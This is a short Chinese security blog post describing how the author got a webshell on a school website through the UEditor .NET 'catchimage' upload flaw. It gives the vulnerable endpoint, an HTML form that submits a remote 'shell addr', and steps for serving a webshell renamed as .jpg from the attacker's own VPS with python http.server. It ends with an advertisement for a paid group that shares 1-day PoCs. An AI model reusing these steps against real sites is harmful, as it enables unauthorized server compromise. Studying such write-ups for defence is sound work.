声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。
|0x02 发现
|0x03 验证
http://xxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
<form action="http://xxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded" method="POST">shell addr: <input type="text" name="source[]" /><input type="submit" value="Submit" /></form>
在自己的VPS上启动一个简易的HTTP服务，并传马（可以不用图片马，直接改后缀称为jpg）。
python -m http.server
打开自己VPS的url，查看页面。
上传成功，返回如下
访问shell，文件存在
|0x04 总结
如果是.net的网站,看一下JS文件是否存在百度编辑器。
| 知识星球的介绍
不好意思，兄弟们，这里给湘安无事星球打个广告，不喜欢的可以直接滑走哦。
1.群主为什么要建知识星球？
很简单为了恰饭哈哈哈，然后也是为了建立一个圈子进行交流学习和共享资源嘛相应的也收取费用嘛，毕竟维持星球也需要精力
2.知识星球有哪些资源？
群里面联系群主是可以要一些免费的学习资料的，因为群里面大部分是大学生嘛大学生不就是喜欢白嫖，所以大家会共享一些资料没有的群主wk也有,wk除了不会pc,其他都能嫖hhh
一些实战报告，截的部分
一些1day的poc,这些也就是信息差，不想找可以绕wk帮你们嫖,群主也会经常发
一些共享的资源
1.刀客源码的会员2.fofa 360高级会员3.专属漏洞库5.专属内部it免费课程6.不定期直播分享（星球有录屏）
技术交流可加下方wx
原文始发于微信公众号（湘安无事）：SRC | 记一次走运某校官网Getshell
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论